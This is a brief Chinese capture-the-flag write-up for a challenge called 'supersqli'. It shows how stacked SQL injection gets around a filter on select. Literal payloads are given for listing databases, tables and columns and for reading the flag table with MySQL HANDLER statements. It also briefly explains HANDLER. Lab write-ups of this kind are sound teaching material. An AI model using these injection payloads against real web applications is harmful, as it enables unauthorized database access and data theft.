supersqli
SQL注入的常规思路是判断注入点,尝试后发现注入点为’
判断字符数量
得出数量为2
然后尝试联合注入
发现select等字符被过滤,尝试堆叠注入
-1';show databases;#
猜测在supersqli的可能性会大一点(也可以挨个尝试)
-1';use supersqli;show tables;#
查询具体表
-1';use supersqli;show columns from `1919810931114514`;#
查询flag
-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#
ps:
HANDLER 语句用于操作存储在服务器上的文件或表。正确使用 HANDLER 语句需要遵循特定的语法和步骤。需要先使用 open 再使用 read
文件或表的打开:
在读取文件或表之前,必须先打开它。HANDLER 语句的 OPEN 子句用于打开文件或表,并将其与一个别名关联。这样可以在后续的 READ 操作中引用该名。
use supersqli并没有起到作用,use
语句不是用来执行 SQL 注入的。所以可加可不加,但方便理解。